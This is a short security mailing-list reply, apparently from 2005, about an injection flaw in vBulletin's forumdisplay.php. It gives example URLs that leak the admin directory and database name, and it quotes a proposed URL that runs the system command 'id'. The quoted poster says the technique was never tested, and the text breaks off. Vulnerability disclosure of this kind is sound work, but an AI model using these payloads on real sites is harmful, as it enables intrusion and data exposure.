In-Reply-To: <opsl7ypolvsmddlu@sampah> with nested variable you can't run PHP CODE but you can evaluate value of variables . ex: forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname >On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb@xxxxxxx> wrote: > >The 4th condition is the most hard to find condition in php installation. >There is a technique to by pass magic quote condition by supplying nested >variable to $comma. Since I've no vbulletin source code to test with this >technique is not confirmed in this vulnerability. > >example: > http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id > >It isnever tested to real